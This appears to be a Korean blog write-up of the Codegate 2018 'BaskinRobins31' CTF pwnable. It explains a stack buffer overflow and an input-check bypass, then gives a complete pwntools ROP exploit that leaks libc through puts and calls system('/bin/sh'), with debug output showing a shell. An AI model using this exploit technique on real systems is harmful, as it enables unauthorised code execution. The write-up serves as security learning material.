뇌
[Pwnable] Codegate 2018 - BaskinRobins31 본문
[ main() ]
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
int cnt; // [rsp-8h] [rbp-8h]
_BOOL4 turn; // [rsp-4h] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
seed = time(0LL);
srand(seed);
cnt = 31;
turn = 0;
puts("### This game is similar to the BaskinRobins31 game. ###");
puts("### The one that take the last match win ###");
printf("There are %u number(s)\n", 31LL);
while ( cnt > 0 )
{
if ( turn )
{
my_turn(&cnt);
turn = 0;
}
else
{
turn = (unsigned __int64)your_turn(&cnt) != 0;
}
printf("remaining number(s) : %i \n", (unsigned int)cnt);
}
if ( turn )
{
puts("Wow! You win!");
puts("Hint is : ROP");
}
else
{
puts("You lose!");
}
return 0;
}
cnt 를 31부터 수를 줄여가며 베스킨로빈스31 게임을 한다.
turn 이 0 일 때 your_turn() 을 호출하고, 1 일 때 my_turn() 을 호출한다.
my_turn() 은 컴퓨터 차례, your_turn() 은 내 차례이다.
my_turn() 은 우리 관심사가 아니기 때문에, your_turn() 코드를 봐보자.
[ your_turn() ]
__int64 __fastcall your_turn(_DWORD *cnt_ptr)
{
__int64 result; // rax
__int64 buf; // [rsp-B0h] [rbp-B0h]
size_t buf_len; // [rsp-10h] [rbp-10h]
int number; // [rsp-4h] [rbp-4h]
number = 0;
memset(&buf, 0, 0x96uLL);
puts("How many numbers do you want to take ? (1-3)");
buf_len = read(0, &buf, 0x190uLL); // buffer overflow
write(1, &buf, buf_len);
putchar(10);
number = strtoul((const char *)&buf, 0LL, 10);
if ( check_decision(number) )
{
*cnt_ptr -= number;
result = 1LL;
}
else
{
puts("Don't break the rules...:( ");
result = 0LL;
}
return result;
}
your_turn() 은 먼저, read 함수로 buf 에 문자열을 입력 받고, 출력해준다.
strtoul 함수를 보면 이런 형식을 갖는다. 즉, 여기 코드로 해석해보면, buf 부터 10진수로 변환할 문자열을 찾고, 찾은 10진수 정수 값을 반환해 변수 number 에 저장한다.
그리고 check_decision() 으로 들어가 1 ~ 3 사이의 값인지 확인을 한 후 참이면 cnt 에서 입력한 정수 값을 뺀다.
여기서 나오는 취약점은 ..
1. read 함수에서 stack buffer overflow
- buf 의 시작주소는 rbp-0xb0 인데, 최대 0x190 만큼 입력 받으므로, return address, 그 이상의 주소에 원하는 값으로 덮을 수 있다.
( stack canary 없으므로 )
2. check_decision() bypass
- strtoul 함수가 숫자를 찾으면 그 숫자를 반환해주므로, 예를 들어 '1AAAAAAA' 으로 넣으면 number 에 1이 들어가 if 문에서 check_decision 이 참으로 인식된다.
ASLR, NX-bit 보호기법이 걸려있다.
그럼 read 함수에서 RTL 기법으로 read@got 를 puts 함수로 leak 하고, base 를 구하고, libc 내부에 있는 "/bin/sh", system 함수의 주소를 각각 구한 후, 다시 read 함수에서 RTL 기법으로 system("/bin/sh"); 을 실행하면 되겠다.
근데 leak 을 하기 위해 한 턴 시간을 벌어야 한다.
leak 이 구해질 때는 main 함수가 종료되고, return address 로 뛴 후 출력된 주소로 leak 을 해야하는데, 위 2 번 취약점을 이용해 다시 read 함수를 받을 순 있지만, main 함수가 종료되지 않으므로 2 번 취약점을 사용할 수가 없다 ㅎㅎ
그럼 어떻게 해야되냐
leak 을 하고, main 함수로 다시 뛰어주면 된다.
그럼 다시 main 함수가 시작될 것이고, 다시 read 함수로 buf 에 문자열을 받을 수 있다.
[ exploit ]
from pwn import *
context.log_level = 'debug'
p = process('./BaskinRobins31')
e = ELF('./BaskinRobins31')
libc = e.libc
prdi = 0x0000000000400bc3
pay = ''
pay += 'A'*(0xB0+8)
pay += p64(prdi)
pay += p64(e.got['puts'])
pay += p64(e.plt['puts'])
pay += p64(e.symbols['main'])
p.sendlineafter('(1-3)\n', pay)
leak = u64(p.recvuntil('\x7f')[-6:]+"\x00\x00")
base = leak - libc.symbols['puts']
log.info('base : ' + hex(base))
pay = ''
pay += 'A'*(0xb0+8)
pay += p64(prdi)
pay += p64(base + next(libc.search('/bin/sh')))
pay += p64(base + libc.symbols['system'])
p.sendlineafter('(1-3)\n', pay)
p.interactive()
[ result ]
disso1p1@ginmoo:~/Desktop/layer7/rop_practice$ python payload.py
[+] Starting local process './BaskinRobins31' argv=['./BaskinRobins31'] : pid 4283
[DEBUG] PLT 0x4006b0 putchar
[DEBUG] PLT 0x4006c0 puts
[DEBUG] PLT 0x4006d0 write
[DEBUG] PLT 0x4006e0 printf
[DEBUG] PLT 0x4006f0 memset
[DEBUG] PLT 0x400700 read
[DEBUG] PLT 0x400710 __libc_start_main
[DEBUG] PLT 0x400720 srand
[DEBUG] PLT 0x400730 time
[DEBUG] PLT 0x400740 setvbuf
[DEBUG] PLT 0x400750 strtoul
[DEBUG] PLT 0x400760 sleep
[DEBUG] PLT 0x400770 __gmon_start__
[*] '/home/disso1p1/Desktop/layer7/rop_practice/BaskinRobins31'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] PLT 0x1f7f0 realloc
[DEBUG] PLT 0x1f800 __tls_get_addr
[DEBUG] PLT 0x1f820 memalign
[DEBUG] PLT 0x1f850 _dl_find_dso_for_object
[DEBUG] PLT 0x1f870 calloc
[DEBUG] PLT 0x1f8a0 malloc
[DEBUG] PLT 0x1f8a8 free
[*] u'/lib/x86_64-linux-gnu/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Received 0xaa bytes:
'### This game is similar to the BaskinRobins31 game. ###\n'
'### The one that take the last match win ###\n'
'There are 31 number(s)\n'
'How many numbers do you want to take ? (1-3)\n'
[DEBUG] Sent 0xd9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
000000b0 41 41 41 41 41 41 41 41 c3 0b 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
000000c0 20 20 60 00 00 00 00 00 c0 06 40 00 00 00 00 00 │ `·│····│··@·│····│
000000d0 4b 0a 40 00 00 00 00 00 0a │K·@·│····│·│
000000d9
[DEBUG] Received 0x1a7 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
000000a0 d9 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41 │····│····│AAAA│AAAA│
000000b0 41 41 41 41 41 41 41 41 c3 0b 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
000000c0 20 20 60 00 00 00 00 00 c0 06 40 00 00 00 00 00 │ `·│····│··@·│····│
000000d0 4b 0a 40 00 00 00 00 00 0a 0a 44 6f 6e 27 74 20 │K·@·│····│··Do│n't │
000000e0 62 72 65 61 6b 20 74 68 65 20 72 75 6c 65 73 2e │brea│k th│e ru│les.│
000000f0 2e 2e 3a 28 20 0a a0 96 8f fb ea 7f 0a 23 23 23 │..:(│ ···│····│·###│
00000100 20 54 68 69 73 20 67 61 6d 65 20 69 73 20 73 69 │ Thi│s ga│me i│s si│
00000110 6d 69 6c 61 72 20 74 6f 20 74 68 65 20 42 61 73 │mila│r to│ the│ Bas│
00000120 6b 69 6e 52 6f 62 69 6e 73 33 31 20 67 61 6d 65 │kinR│obin│s31 │game│
00000130 2e 20 23 23 23 0a 23 23 23 20 54 68 65 20 6f 6e │. ##│#·##│# Th│e on│
00000140 65 20 74 68 61 74 20 74 61 6b 65 20 74 68 65 20 │e th│at t│ake │the │
00000150 6c 61 73 74 20 6d 61 74 63 68 20 77 69 6e 20 23 │last│ mat│ch w│in #│
00000160 23 23 0a 54 68 65 72 65 20 61 72 65 20 33 31 20 │##·T│here│ are│ 31 │
00000170 6e 75 6d 62 65 72 28 73 29 0a 48 6f 77 20 6d 61 │numb│er(s│)·Ho│w ma│
00000180 6e 79 20 6e 75 6d 62 65 72 73 20 64 6f 20 79 6f │ny n│umbe│rs d│o yo│
00000190 75 20 77 61 6e 74 20 74 6f 20 74 61 6b 65 20 3f │u wa│nt t│o ta│ke ?│
000001a0 20 28 31 2d 33 29 0a │ (1-│3)·│
000001a7
[*] base : 0x7feafb88a000
[DEBUG] Sent 0xd1 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
000000b0 41 41 41 41 41 41 41 41 c3 0b 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
000000c0 17 6e a1 fb ea 7f 00 00 a0 f3 8c fb ea 7f 00 00 │·n··│····│····│····│
000000d0 0a │·│
000000d1
[*] Switching to interactive mode
[DEBUG] Received 0xee bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
000000a0 d1 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41 │····│····│AAAA│AAAA│
000000b0 41 41 41 41 41 41 41 41 c3 0b 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
000000c0 17 6e a1 fb ea 7f 00 00 a0 f3 8c fb ea 7f 00 00 │·n··│····│····│····│
000000d0 0a 0a 44 6f 6e 27 74 20 62 72 65 61 6b 20 74 68 │··Do│n't │brea│k th│
000000e0 65 20 72 75 6c 65 73 2e 2e 2e 3a 28 20 0a │e ru│les.│..:(│ ·│
000000ee
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�\x00\x00\x00AAAAAAAAAAAAAAAA�
@\x00\x00\x00n\xa1��\xa0����\x7f\x00
Don't break the rules...:(
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x87 bytes:
'uid=1000(disso1p1) gid=1000(disso1p1) groups=1000(disso1p1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)\n'
uid=1000(disso1p1) gid=1000(disso1p1) groups=1000(disso1p1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
베스킨로빈스31 게임을 응용할 필요 없이 그냥 단순 ROP 문제였다.
'Layer 7' 카테고리의 다른 글
객체 지향 프로그래밍 (0) | 2020.09.10 |
---|---|
운영체제 메모리 할당 알고리즘 (0) | 2020.09.02 |
바이너리 분석 2 - RTL ( NX-bit bypass ) (0) | 2020.08.25 |
BOF 예제 분석 (0) | 2020.08.16 |
DreamHack - string ( pwnable ) write up (0) | 2020.08.07 |